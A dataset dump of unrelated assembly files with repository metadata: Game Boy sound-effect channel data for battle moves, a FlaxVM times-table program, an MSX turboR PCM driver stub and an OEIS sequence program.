f2047 Sfx_SlotMachineStart_Ch6: ; f2047 dutycycle $2 sound __, 16, $92, $0600 sound __, 16, $92, $0782 endchannel ; f2052 Sfx_Call_Ch5: ; f2052 soundinput $67 sound __, 5, $f7, $07a0 sound __, 5, $f7, $07a0 sound __, 5, $f7, $07a0 sound __, 5, $f7, $07a0 sound __, 5, $f7, $07a0 soundinput $8 sound __, 5, $0, 0 endchannel ; f206f Sfx_Peck_Ch8: ; f206f noise __, 3, $a1, $12 endchannel ; f2073 Sfx_Kinesis_Ch5: ; f2073 dutycycle $1 soundinput $af sound __, 16, $f2, $0780 soundinput $8 endchannel ; f207e Sfx_Lick_Ch5: ; f207e dutycycle $1 soundinput $97 sound __, 16, $f2, $0500 soundinput $8 endchannel ; f2089 Sfx_Pound_Ch8: ; f2089 noise __, 3, $a1, $22 endchannel ; f208d Sfx_MovePuzzlePiece_Ch8: ; f208d noise __, 9, $f1, $54 endchannel ; f2091 Sfx_CometPunch_Ch8: ; f2091 noise __, 16, $8f, $11 noise __, 5, $ff, $12 noise __, 11, $f1, $55 endchannel ; f209b Sfx_MegaPunch_Ch8: ; f209b noise __, 16, $8f, $34 noise __, 9, $f2, $35 noise __, 11, $f1, $55 endchannel ; f20a5 Sfx_Scratch_Ch8: ; f20a5 noise __, 16, $9f, $23 noise __, 9, $f1, $21 endchannel ; f20ac Sfx_Vicegrip_Ch8: ; f20ac noise __, 3, $e1, $4b noise __, 11, $f1, $44 noise __, 3, $e1, $3a noise __, 7, $f1, $34 endchannel ; f20b9 Sfx_RazorWind_Ch8: ; f20b9 noise __, 3, $f4, $44 noise __, 3, $f4, $14 noise __, 16, $f1, $32 endchannel ; f20c3 Sfx_Cut_Ch8: ; f20c3 noise __, 5, $8f, $55 noise __, 3, $f4, $44 noise __, 9, $f4, $22 noise __, 16, $f2, $21 endchannel ; f20d0 Sfx_WingAttack_Ch8: ; f20d0 Sfx_WingAttack_branch_f20d0: ; f20d0 noise __, 9, $4f, $23 noise __, 5, $c4, $22 noise __, 7, $f2, $23 loopchannel 4, Sfx_WingAttack_branch_f20d0 endchannel ; f20de Sfx_Whirlwind_Ch8: ; f20de noise __, 9, $4f, $33 noise __, 5, $c4, $22 noise __, 7, $f2, $23 noise __, 16, $f2, $22 endchannel ; f20eb Sfx_Bind_Ch8: ; f20eb noise __, 9, $ff, $32 noise __, 9, $f4, $43 noise __, 9, $f2, $54 noise __, 9, $f1, $65 endchannel ; f20f8 Sfx_VineWhip_Ch8: ; f20f8 noise __, 2, $c2, $33 noise __, 3, $f2, $21 noise __, 2, $e2, $33 noise __, 2, $c2, $32 noise __, 2, $92, $12 noise __, 2, $b2, $31 noise __, 13, $91, $10 noise __, 9, $f2, $41 endchannel ; f2111 Sfx_DoubleKick_Ch8: ; f2111 noise __, 2, $94, $23 noise __, 2, $b4, $22 noise __, 9, $f1, $44 endchannel ; f211b Sfx_MegaKick_Ch8: ; f211b noise __, 3, $94, $33 noise __, 5, $b4, $22 noise __, 5, $f1, $44 noise __, 9, $f1, $55 endchannel ; f2128 Sfx_Headbutt_Ch8: ; f2128 noise __, 5, $ff, $55 noise __, 9, $f1, $65 endchannel ; f212f Sfx_HornAttack_Ch8: ; f212f noise __, 3, $84, $43 noise __, 3, $c4, $22 noise __, 9, $f2, $34 endchannel ; f2139 Sfx_Tackle_Ch8: ; f2139 noise __, 5, $f1, $34 noise __, 16, $f2, $64 endchannel ; f2140 Sfx_PoisonSting_Ch8: ; f2140 noise __, 3, $f1, $22 noise __, 16, $f2, $12 endchannel ; f2147 Sfx_Powder_Ch8: ; f2147 noise __, 3, $c2, $1 noise __, 16, $f4, $1 noise __, 16, $f2, $1 endchannel ; f2151 Sfx_Doubleslap_Ch8: ; f2151 noise __, 9, $f1, $32 noise __, 9, $f1, $33 endchannel ; f2158 Sfx_Bite_Ch5: ; f2158 dutycycle $0 soundinput $3a sound __, 5, $f2, $0200 soundinput $22 sound __, 9, $e2, $0200 soundinput $8 endchannel ; f2169 Sfx_Bite_Ch8: ; f2169 noise __, 1, $d1, $42 noise __, 5, $a1, $32 noise __, 1, $d1, $22 noise __, 7, $a1, $32 endchannel ; f2176 Sfx_JumpKick_Ch8: ; f2176 noise __, 4, $92, $31 noise __, 4, $b2, $32 noise __, 4, $c2, $33 noise __, 9, $f1, $54 endchannel ; f2183 Sfx_Stomp_Ch8: ; f2183 noise __, 13, $f1, $54 noise __, 9, $f1, $64 endchannel ; f218a Sfx_TailWhip_Ch8: ; f218a noise __, 3, $f1, $33 noise __, 3, $c1, $32 noise __, 3, $a1, $31 noise __, 16, $82, $32 noise __, 9, $f1, $34 endchannel ; f219a Sfx_KarateChop_Ch8: ; f219a noise __, 3, $d2, $32 noise __, 16, $f2, $43 endchannel ; f21a1 Sfx_Submission_Ch8: ; f21a1 noise __, 3, $f2, $43 noise __, 5, $b5, $32 noise __, 10, $86, $31 noise __, 8, $64, $0 noise __, 16, $f2, $55 endchannel ; f21b1 Sfx_WaterGun_Ch5: ; f21b1 dutycycle $1 soundinput $97 sound __, 16, $f2, $0700 soundinput $8 endchannel ; f21bc Sfx_WaterGun_Ch8: ; f21bc noise __, 16, $3f, $22 noise __, 16, $f2, $21 endchannel ; f21c3 Sfx_SwordsDance_Ch8: ; f21c3 noise __, 16, $4f, $41 noise __, 9, $8f, $41 noise __, 9, $cf, $41 noise __, 9, $f2, $42 noise __, 16, $f2, $41 endchannel ; f21d3 Sfx_Thunder_Ch8: ; f21d3 noise __, 11, $ff, $50 noise __, 16, $ff, $51 noise __, 9, $f2, $51 noise __, 7, $ff, $52 noise __, 7, $ff, $53 noise __, 9, $ff, $54 noise __, 16, $f2, $54 endchannel ; f21e9 Sfx_Supersonic_Ch5: ; f21e9 dutycycle $2 sound __, 16, $3f, $07c0 Sfx_Supersonic_branch_f21ef: ; f21ef sound __, 16, $df, $07c0 loopchannel 4, Sfx_Supersonic_branch_f21ef sound __, 16, $d1, $07c0 endchannel ; f21fc Sfx_Supersonic_Ch6: ; f21fc sound_duty 3, 0, 3, 2 sound __, 16, $2f, $07c8 Sfx_Supersonic_branch_f2202: ; f2202 sound __, 16, $cf, $07c7 loopchannel 4, Sfx_Supersonic_branch_f2202 sound __, 16, $c1, $07c8 endchannel ; f220f Sfx_Supersonic_Ch8: ; f220f Sfx_Supersonic_branch_f220f: ; f220f noise __, 4, $97, $12 noise __, 4, $a1, $11 loopchannel 10, Sfx_Supersonic_branch_f220f endchannel ; f221a Sfx_Leer_Ch5: ; f221a Sfx_Leer_branch_f221a: ; f221a dutycycle $0 sound __, 1, $f1, $07c0 sound __, 1, $f1, $0700 loopchannel 12, Sfx_Leer_branch_f221a endchannel ; f2229 Sfx_Leer_Ch6: ; f2229 Sfx_Leer_branch_f2229: ; f2229 sound_duty 3, 0, 3, 2 sound __, 1, $e1, $07c1 sound __, 1, $e1, $0701 loopchannel 12, Sfx_Leer_branch_f2229 endchannel ; f2238 Sfx_Leer_Ch8: ; f2238 Sfx_Leer_branch_f2238: ; f2238 noise __, 2, $d1, $49 noise __, 2, $d1, $29 loopchannel 6, Sfx_Leer_branch_f2238 endchannel ; f2243 Sfx_Ember_Ch5: ; f2243 Sfx_Ember_branch_f2243: ; f2243 sound_duty 1, 2, 0, 3 sound __, 12, $f3, $0120 sound __, 10, $d3, $0150 loopchannel 5, Sfx_Ember_branch_f2243 sound __, 9, $e3, $0130 sound __, 16, $c2, $0110 endchannel ; f225a Sfx_Ember_Ch8: ; f225a Sfx_Ember_branch_f225a: ; f225a noise __, 11, $f3, $35 noise __, 15, $f6, $45 loopchannel 4, Sfx_Ember_branch_f225a noise __, 13, $f4, $bc noise __, 13, $f5, $9c noise __, 16, $f4, $ac endchannel ; f226e Sfx_Bubblebeam_Ch5: ; f226e Sfx_Bubblebeam_branch_f226e: ; f226e sound_duty 1, 2, 3, 0 sound __, 5, $f4, $0600 sound __, 4, $c4, $0500 sound __, 6, $b5, $0600 sound __, 14, $e2, $06c0 loopchannel 3, Sfx_Bubblebeam_branch_f226e sound __, 9, $d1, $0600 endchannel ; f2289 Sfx_Bubblebeam_Ch6: ; f2289 Sfx_Bubblebeam_branch_f2289: ; f2289 sound_duty 1, 3, 0, 2 sound __, 6, $e4, $05e0 sound __, 5, $b4, $04e0 sound __, 7, $a5, $05e8 sound __, 15, $d1, $06a0 loopchannel 3, Sfx_Bubblebeam_branch_f2289 endchannel ; f22a0 Sfx_Bubblebeam_Ch8: ; f22a0 Sfx_Bubblebeam_branch_f22a0: ; f22a0 noise __, 6, $c3, $33 noise __, 4, $92, $43 noise __, 11, $b5, $33 noise __, 16, $c3, $32 loopchannel 2, Sfx_Bubblebeam_branch_f22a0 endchannel ; f22b1 Sfx_HydroPump_Ch5: ; f22b1 Sfx_HydroPump_branch_f22b1: ; f22b1 sound_duty 2, 0, 1, 3 sound __, 4, $81, $0300 sound __, 4, $c1, $0400 sound __, 4, $f1, $0500 sound __, 4, $b1, $0400 sound __, 4, $71, $0300 loopchannel 5, Sfx_HydroPump_branch_f22b1 sound __, 9, $81, $0400 endchannel ; f22d0 Sfx_HydroPump_Ch8: ; f22d0 Sfx_HydroPump_branch_f22d0: ; f22d0 noise __, 4, $62, $22 noise __, 4, $a2, $32 noise __, 4, $d2, $33 noise __, 4, $92, $23 noise __, 4, $52, $12 loopchannel 5, Sfx_HydroPump_branch_f22d0 noise __, 9, $81, $12 endchannel ; f22e7 Sfx_Surf_Ch5: ; f22e7 Sfx_Surf_branch_f22e7: ; f22e7 sound_duty 1, 2, 3, 0 sound __, 16, $f4, $0500 sound __, 16, $c4, $0400 sound __, 16, $e2, $05c0 loopchannel 3, Sfx_Surf_branch_f22e7 endchannel ; f22fa Sfx_Surf_Ch6: ; f22fa Sfx_Surf_branch_f22fa: ; f22fa sound_duty 1, 3, 0, 2 sound __, 8, $e4, $0430 sound __, 16, $b4, $0330 sound __, 16, $a2, $0438 loopchannel 4, Sfx_Surf_branch_f22fa endchannel ; f230d Sfx_Surf_Ch8: ; f230d Sfx_Surf_branch_f230d: ; f230d noise __, 10, $f4, $44 noise __, 10, $f2, $43 noise __, 16, $f4, $42 noise __, 16, $f4, $41 loopchannel 3, Sfx_Surf_branch_f230d endchannel ; f231e Sfx_Psybeam_Ch5: ; f231e Sfx_Psybeam_branch_f231e: ; f231e sound_duty 1, 0, 2, 2 sound __, 11, $f1, $0640 sound __, 11, $f3, $0680 sound __, 11, $f2, $0620 loopchannel 4, Sfx_Psybeam_branch_f231e sound __, 11, $f1, $0640 endchannel ; f2335 Sfx_Psybeam_Ch6: ; f2335 Sfx_Psybeam_branch_f2335: ; f2335 sound_duty 3, 0, 3, 2 sound __, 11, $f3, $0571 sound __, 8, $e3, $0531 sound __, 11, $f1, $0551 loopchannel 4, Sfx_Psybeam_branch_f2335 sound __, 11, $f1, $0571 endchannel ; f234c Sfx_Psybeam_Ch8: ; f234c Sfx_Psybeam_branch_f234c: ; f234c noise __, 3, $d1, $4a noise __, 3, $d2, $2a loopchannel 21, Sfx_Psybeam_branch_f234c endchannel ; f2357 Sfx_Charge_Ch5: ; f2357 Sfx_Charge_branch_f2357: ; f2357 dutycycle $0 sound __, 3, $f1, $0200 sound __, 4, $f1, $0700 sound __, 5, $f1, $0500 sound __, 6, $f1, $07f0 loopchannel 8, Sfx_Charge_branch_f2357 endchannel ; f236e Sfx_Charge_Ch6: ; f236e Sfx_Charge_branch_f236e: ; f236e sound_duty 3, 0, 3, 2 sound __, 3, $e1, $0302 sound __, 4, $e1, $07f2 sound __, 5, $e1, $0602 sound __, 6, $e1, $0702 loopchannel 8, Sfx_Charge_branch_f236e endchannel ; f2385 Sfx_Charge_Ch8: ; f2385 Sfx_Charge_branch_f2385: ; f2385 noise __, 3, $d3, $10 noise __, 4, $d3, $11 noise __, 3, $d2, $10 noise __, 6, $d2, $12 loopchannel 9, Sfx_Charge_branch_f2385 endchannel ; f2396 Sfx_Thundershock_Ch5: ; f2396 Sfx_Thundershock_branch_f2396: ; f2396 sound_duty 3, 2, 2, 0 sound __, 4, $f1, $07f0 sound __, 5, $f2, $0200 loopchannel 8, Sfx_Thundershock_branch_f2396 endchannel ; f23a5 Sfx_Thundershock_Ch6: ; f23a5 Sfx_Thundershock_branch_f23a5: ; f23a5 sound_duty 3, 0, 3, 2 sound __, 5, $e2, $0202 sound __, 5, $e1, $07e2 loopchannel 9, Sfx_Thundershock_branch_f23a5 endchannel ; f23b4 Sfx_Thundershock_Ch8: ; f23b4 Sfx_Thundershock_branch_f23b4: ; f23b4 noise __, 5, $ff, $43 noise __, 5, $f2, $44 loopchannel 9, Sfx_Thundershock_branch_f23b4 endchannel ; f23bf Sfx_Psychic_Ch5: ; f23bf dutycycle $2 soundinput $f7 sound __, 9, $c4, $07bd sound __, 9, $c4, $07be sound __, 9, $c4, $07bf sound __, 9, $c4, $07c0 sound __, 16, $c4, $07c1 sound __, 16, $f2, $07c0 soundinput $8 endchannel ; f23de Sfx_Psychic_Ch6: ; f23de dutycycle $2 sound __, 9, $c4, $0770 sound __, 9, $c4, $0761 sound __, 9, $c4, $0762 sound __, 9, $c4, $0763 sound __, 16, $c4, $0764 sound __, 16, $f2, $0764 endchannel ; f23f9 Sfx_Psychic_Ch8: ; f23f9 noise __, 16, $3f, $14 noise __, 16, $cf, $13 noise __, 16, $cf, $12 noise __, 16, $cf, $11 noise __, 16, $cf, $10 noise __, 16, $c2, $10 endchannel ; f240c Sfx_Screech_Ch5: ; f240c dutycycle $2 sound __, 16, $ff, $07e0 sound __, 16, $ff, $07e0 sound __, 16, $ff, $07e0 sound __, 16, $ff, $07e0 sound __, 16, $f2, $07e0 endchannel ; f2423 Sfx_Screech_Ch6: ; f2423 dutycycle $3 sound __, 16, $ff, $07e2 sound __, 16, $ff, $07e1 sound __, 16, $ff, $07e2 sound __, 16, $ff, $07e1 sound __, 16, $f2, $07e2 endchannel ; f243a Sfx_BoneClub_Ch5: ; f243a dutycycle $2 soundinput $af sound __, 9, $f1, $0700 soundinput $8 endchannel ; f2445 Sfx_BoneClub_Ch6: ; f2445 dutycycle $3 sound __, 9, $f1, $0701 endchannel ; f244c Sfx_Sharpen_Ch5: ; f244c dutycycle $2 sound __, 7, $f1, $0500 sound __, 7, $f1, $0580 sound __, 7, $f1, $0600 sound __, 7, $f1, $0680 sound __, 9, $f1, $0700 endchannel ; f2463 Sfx_Sharpen_Ch6: ; f2463 dutycycle $3 sound __, 7, $e1, $0510 sound __, 7, $e1, $0590 sound __, 7, $e1, $0610 sound __, 7, $e1, $0690 sound __, 9, $e1, $0710 endchannel ; f247a Sfx_EggBomb_Ch5: ; f247a sound_duty 1, 3, 2, 3 sound __, 9, $ff, $03f8 sound __, 16, $ff, $0400 sound __, 16, $f3, $0400 endchannel ; f2489 Sfx_EggBomb_Ch6: ; f2489 sound_duty 0, 1, 3, 2 sound __, 9, $ef, $03c0 sound __, 16, $ef, $03c0 sound __, 16, $e3, $03c0 endchannel ; f2498 Sfx_EggBomb_Ch8: ; f2498 noise __, 5, $ff, $51 noise __, 9, $ff, $54 noise __, 16, $ff, $55 noise __, 16, $f3, $56 endchannel ; f24a5 Sfx_Sing_Ch5: ; f24a5 togglesfx vibrato $a, $24 dutycycle $2 notetype $a, $87 octave 5 note G_, 8 octave 6 note F_, 4 note D#, 4 octave 5 note G_, 8 endchannel ; f24b6 Sfx_Sing_Ch6: ; f24b6 togglesfx vibrato $a, $23 dutycycle $2 notetype $b, $67 octave 5 note G_, 8 notetype $a, $67 octave 6 note F_, 4 note D#, 4 octave 5 note G_, 8 endchannel ; f24ca Sfx_HyperBeam_Ch5: ; f24ca dutycycle $0 sound __, 3, $f1, $0780 sound __, 3, $f1, $0700 sound __, 3, $f1, $0790 sound __, 3, $f1, $0700 sound __, 3, $f1, $07a0 sound __, 3, $f1, $0700 sound __, 3, $f1, $07b0 sound __, 3, $f1, $0700 sound __, 3, $f1, $07c0 sound __, 3, $f1, $0700 sound __, 3, $f1, $07d0 Sfx_HyperBeam_branch_f24f8: ; f24f8 sound __, 3, $f1, $0700 sound __, 3, $f1, $07e0 loopchannel 12, Sfx_HyperBeam_branch_f24f8 sound __, 16, $f1, $0700 endchannel ; f2509 Sfx_HyperBeam_Ch6: ; f2509 sound_duty 3, 0, 3, 2 sound __, 3, $f1, $0781 sound __, 3, $f1, $0701 sound __, 3, $f1, $0791 sound __, 3, $f1, $0701 sound __, 3, $f1, $07a1 sound __, 3, $f1, $0701 sound __, 3, $f1, $07b1 sound __, 3, $f1, $0701 sound __, 3, $f1, $07c1 sound __, 3, $f1, $0701 sound __, 3, $f1, $07d1 Sfx_HyperBeam_branch_f2537: ; f2537 sound __, 3, $f1, $0701 sound __, 3, $f1, $07e1 loopchannel 12, Sfx_HyperBeam_branch_f2537 sound __, 16, $f1, $0701 endchannel ; f2548 Sfx_HyperBeam_Ch8: ; f2548 Sfx_HyperBeam_branch_f2548: ; f2548 noise __, 2, $d1, $49 noise __, 2, $d1, $29 loopchannel 26, Sfx_HyperBeam_branch_f2548 endchannel ; f2553 Sfx_Unknown60_Ch8: ; f2553 noise __, 7, $20, $10 noise __, 7, $2f, $40 noise __, 7, $4f, $41 noise __, 7, $8f, $41 noise __, 7, $cf, $42 noise __, 9, $d7, $42 noise __, 16, $e7, $43 noise __, 16, $f2, $43 endchannel ; f256c Sfx_UnknownCB_Ch8: ; f256c noise __, 2, $10, $10 noise __, 3, $20, $10 noise __, 3, $30, $20 noise __, 3, $40, $20 noise __, 3, $50, $21 noise __, 3, $60, $22 noise __, 5, $70, $22 noise __, 9, $80, $22 noise __, 16, $94, $22 endchannel ; f2588 Sfx_Unknown61_Ch8: ; f2588 noise __, 5, $d1, $41 endchannel ; f258c Sfx_SwitchPockets_Ch8: ; f258c noise __, 5, $c1, $42 endchannel ; f2590 Sfx_Unknown63_Ch8: ; f2590 noise __, 3, $6f, $21 noise __, 3, $af, $31 noise __, 16, $f2, $41 endchannel ; f259a Sfx_Burn_Ch8: ; f259a noise __, 3, $d2, $32 noise __, 16, $f2, $43 endchannel ; f25a1 Sfx_TitleScreenEntrance_Ch8: ; f25a1 noise __, 3, $70, $22 noise __, 3, $80, $23 noise __, 3, $90, $24 noise __, 3, $a0, $25 noise __, 3, $b0, $26 noise __, 16, $c2, $26 endchannel ; f25b4 Sfx_Unknown66_Ch5: ; f25b4 dutycycle $2 sound __, 2, $f2, $06a0 sound __, 2, $f2, $06e0 sound __, 9, $f1, $0700 endchannel ; f25c3 Sfx_GetCoinFromSlots_Ch5: ; f25c3 dutycycle $2 sound __, 3, $f1, $0700 sound __, 9, $81, $07e0 endchannel ; f25ce Sfx_PayDay_Ch5: ; f25ce dutycycle $3 sound __, 6, $e1, $0700 sound __, 3, $e1, $0780 sound __, 16, $f1, $07c0 endchannel ; f25dd Sfx_PayDay_Ch6: ; f25dd dutycycle $2 sound __, 5, $c1, $06c1 sound __, 3, $c1, $0741 sound __, 16, $d1, $0781 endchannel ; f25ec Sfx_Metronome_Ch5: ; f25ec dutycycle $2 soundinput $5f sound __, 5, $40, $07e0 sound __, 5, $60, $07e0 sound __, 5, $80, $07e0 sound __, 9, $a0, $07e0 sound __, 9, $a0, $07e0 sound __, 9, $80, $07e0 sound __, 9, $60, $07e0 sound __, 9, $30, $07e0 sound __, 16, $12, $07e0 soundinput $8 endchannel ; f2617 Sfx_Unknown5F_Ch5: ; f2617 Sfx_Unknown5F_branch_f2617: ; f2617 sound __, 3, $f7, $0601 sound __, 3, $f7, $0701 loopchannel 8, Sfx_Unknown5F_branch_f2617 endchannel ; f2624 Sfx_Unknown5F_Ch6: ; f2624 sound __, 2, $f7, $ffff sound __, 3, $f7, $0602 sound __, 3, $f7, $0702 loopchannel 8, Sfx_Unknown5F_branch_f2617 endchannel ; f2635 Sfx_Fanfare2_Ch5: ; f2635 togglesfx sfxpriorityon tempo 256 volume $77 tone $0001 dutycycle $3 notetype $6, $b5 octave 3 note G#, 4 notetype $4, $b2 note F_, 2 note G#, 2 note A_, 2 note A#, 2 note F#, 2 note A#, 2 octave 4 note C_, 4 note C_, 2 notetype $4, $b6 note C#, 12 sfxpriorityoff endchannel ; f2658 Sfx_Fanfare2_Ch6: ; f2658 togglesfx dutycycle $2 notetype $6, $c5 octave 4 note C#, 6 notetype $4, $c1 note C#, 1 note C#, 1 note C#, 1 notetype $4, $c2 note D#, 2 note C#, 2 note D#, 2 note E_, 4 note E_, 2 notetype $4, $c6 note F_, 12 endchannel ; f2673 Sfx_Fanfare2_Ch8: ; f2673 togglesfx notetype $6 note C_, 1 octave 5 note C#, 2 note __, 2 note C#, 2 note __, 2 notetype $4 note C_, 1 note C#, 2 note __, 2 note C#, 2 note D#, 2 note __, 2 note F_, 2 note G#, 6 endchannel ; f2687 Sfx_Fanfare_Ch5: ; f2687 togglesfx sfxpriorityon tempo 256 volume $77 dutycycle $3 tone $0001 notetype $6, $b3 octave 3 note F_, 4 note C#, 4 note F#, 4 note D#, 4 note G#, 4 note F_, 4 note A#, 4 note F#, 4 notetype $4, $b3 note A#, 4 note B_, 4 octave 4 note C_, 4 note C#, 4 note D#, 4 note C_, 4 notetype $4, $b6 note C#, 12 sfxpriorityoff endchannel ; f26af Sfx_Fanfare_Ch6: ; f26af togglesfx dutycycle $2 notetype $6, $c4 octave 4 note C#, 4 notetype $4, $c4 note C#, 2 octave 3 note A#, 2 octave 4 note C#, 2 note D#, 6 note D#, 2 octave 3 note B_, 2 octave 4 note D#, 2 note F_, 6 note F_, 2 note C#, 2 note F_, 2 note F#, 6 note F#, 2 note D#, 2 note F#, 2 note C#, 4 note D#, 4 note E_, 4 note F_, 4 note F#, 4 note G#, 4 notetype $4, $c6 note F#, 12 endchannel ; f26d8 Sfx_Fanfare_Ch8: ; f26d8 togglesfx notetype $6 note C_, 1 octave 4 note A#, 4 note __, 4 note B_, 4 note __, 4 octave 5 note C#, 4 note __, 4 note D#, 4 note __, 4 notetype $4 note C_, 1 note F_, 4 note D#, 4 note C#, 4 note A#, 4 note G#, 4 note F_, 4 note F#, 6 endchannel ; f26f1 Sfx_HangUp_Ch5: ; f26f1 dutycycle $2 sound __, 5, $b8, $077b sound __, 3, $21, $077b sound C_, 1, $0, 0 Sfx_HangUp_branch_f26ff: ; f26ff Sfx_NoSignal_Ch5: ; f26ff Sfx_NoSignal_branch_f26ff: ; f26ff dutycycle $2 sound C_, 5, $e8, $070b sound C_, 13, $0, 0 loopchannel 3, Sfx_HangUp_branch_f26ff endchannel ; f270e Sfx_Sandstorm_Ch8: ; f270e Sfx_Sandstorm_branch_f270e: ; f270e Sfx_Unknown5F_Ch8: ; f270e Sfx_Unknown5F_branch_f270e: ; f270e noise __, 2, $f8, $41 noise __, 3, $9c, $24 noise __, 1, $0, $0 noise __, 4, $59, $16 noise __, 3, $0, $0 loopchannel 3, Sfx_Sandstorm_branch_f270e endchannel ; f2722 Sfx_Elevator_Ch5: ; f2722 dutycycle $2 soundinput $5a Sfx_Elevator_branch_f2726: ; f2726 sound __, 3, $f1, $0300 loopchannel 48, Sfx_Elevator_branch_f2726 soundinput $8 dutycycle $2 sound __, 16, $f3, $0730 sound __, 9, $65, $0730 sound __, 16, $f4, $0700 sound __, 16, $74, $0700 sound __, 16, $44, $0700 sound __, 16, $24, $0700 endchannel ; f274b Sfx_Elevator_Ch6: ; f274b Sfx_Elevator_Ch7: ; f274b sound F_, 1, $0, 0 sound E_, 4, $0, 0 endchannel ; f2754 Sfx_Elevator_Ch8: ; f2754 noise F_, 1, $0, $0 noise E_, 4, $0, $0 endchannel ; f275b Sfx_StopSlot: ; f275b musicheader 1, 5, Sfx_StopSlot_Ch5 ; f275e Sfx_StopSlot_Ch5: ; f275e dutycycle $2 sound __, 2, $f8, $0760 sound __, 5, $82, $0760 endchannel ; f2769 Sfx_GlassTing: ; f2769 musicheader 1, 5, Sfx_GlassTing_Ch5 ; f276c Sfx_GlassTing_Ch5: ; f276c dutycycle $2 sound C#, 1, $d1, $07dc endchannel ; f2773 Sfx_GlassTing2: ; f2773 musicheader 2, 5, Sfx_GlassTing2_Ch5 musicheader 1, 6, Sfx_GlassTing2_Ch6 ; f2779 Sfx_GlassTing2_Ch5: ; f2779 dutycycle $2 sound C_, 1, $f1, $07dc endchannel ; f2780 Sfx_GlassTing2_Ch6: ; f2780 dutycycle $2 sound C_, 1, $d1, $07dd endchannel ; f2787
16.105971
58
0.675551
63d4c42849f1af6cc501797b4a57d83290d6a4bb
733
asm
Assembly
FlaxVM/bin/Debug/TimesTable2.asm
DreamVB/FlaxVM
2ebac859e423eada8ec923524c977193d45199d4
[ "Apache-2.0" ]
null
null
null
FlaxVM/bin/Debug/TimesTable2.asm
DreamVB/FlaxVM
2ebac859e423eada8ec923524c977193d45199d4
[ "Apache-2.0" ]
null
null
null
FlaxVM/bin/Debug/TimesTable2.asm
DreamVB/FlaxVM
2ebac859e423eada8ec923524c977193d45199d4
[ "Apache-2.0" ]
null
null
null
# Times table lister that lists tables 1 to 12 jmp .Main ProcSpace: PUSH 32 SYS 4 POP RET ProcCr: PUSH 10 SYS 4 POP RET PrintTable: PUSH 1 STA A PUSH 12 STA B loop: # Print A value to the console LDA A SYS 3 CALL ProcSpace PUSH '*' SYS 4 POP CALL ProcSpace LDA T SYS 3 CALL ProcSpace PUSH '=' SYS 4 POP CALL ProcSpace LDA A LDA T MUL STA D LDA D SYS 3 # Print break line CALL ProcCr LDA B LDA A INC STA A LDA A LEQ JT Loop RET .Main: PUSH 1 STA X PUSH 12 STA Y While: LDA X STA T CALL PrintTable CALL ProcCr LDA Y LDA X INC STA X LDA X LEQ JT While HLT
9.905405
47
0.553888
d8657675239bbee41c922ab50ad3518c1f134b1b
604
asm
Assembly
dm-system2/pcm-driver/pcm-tr/old/pcm-tr.asm
plainspooky/gigamix-msx
76621e418302f45f7f6225a9e95900ab77de214c
[ "Apache-2.0" ]
null
null
null
dm-system2/pcm-driver/pcm-tr/old/pcm-tr.asm
plainspooky/gigamix-msx
76621e418302f45f7f6225a9e95900ab77de214c
[ "Apache-2.0" ]
null
null
null
dm-system2/pcm-driver/pcm-tr/old/pcm-tr.asm
plainspooky/gigamix-msx
76621e418302f45f7f6225a9e95900ab77de214c
[ "Apache-2.0" ]
null
null
null
;PCM driver for MSXturboR PCM BIOS ;Copyright 1996 GIGAMIX/nf_ban ;MSXシステムワーク INTFLG EQU 0FC9BH ;DMシステム2関係 CALSLT EQU 001CH ;インタースロットコール(DMシステム2専用) MSXVER EQU 4303H ;MSX本体のバージョン番号 ORG 2C00H DEFM 'PCMDRV for MSXturboR PCM BIOS (C)GIGAMIX' DEFB 1Ah ;EOF DEFB 01h ;PCMドライバの意 DEFM 'うなぎ' ;未使用 JP PCMPLY ;PCM再生 PCMPLY: EX AF,AF' ;Aへの設定値を保存 LD A,(MSXVER) CP 3 RET NZ ;MSXturboR以外は即ret EX AF,AF' ;Aへの設定値を復帰 LD IY,(0FCC0H) ;ROMのスロット LD IX,0186H ;PCM BIOS(PCMPLY) CALL CALSLT ;PCM再生 OR A LD (INTFLG),A ;Ctrl+STOPフラグをクリアしておく RET END 
14.731707
49
0.668874
e0636496b8cc2e8a75a0919bf1d5916318915bd6
366
asm
Assembly
programs/oeis/014/A014557.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/014/A014557.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/014/A014557.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A014557: Multiplicity of K_3 in K_n. ; 0,0,0,0,0,0,2,4,8,12,20,28,40,52,70,88,112,136,168,200,240,280,330,380,440,500,572,644,728,812,910,1008,1120,1232,1360,1488,1632,1776,1938,2100,2280,2460,2660,2860,3080,3300,3542,3784,4048,4312 lpb $0 sub $0,1 trn $0,3 mul $1,$2 div $1,2 add $3,$1 mov $1,$0 mov $2,$0 lpe gcd $2,3 add $2,$3 gcd $1,$2 sub $1,3
21.529412
195
0.642077
613dbe92c6d34f39c5b43cae9ab048bd67f5e165
15,211
asm
Assembly
Driver/IFS/DOS/CDROM/cdromDisk.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
504
2018-11-18T03:35:53.000Z
2022-03-29T01:02:51.000Z
Driver/IFS/DOS/CDROM/cdromDisk.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
96
2018-11-19T21:06:50.000Z
2022-03-06T10:26:48.000Z
Driver/IFS/DOS/CDROM/cdromDisk.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
73
2018-11-19T20:46:53.000Z
2022-03-29T00:59:26.000Z
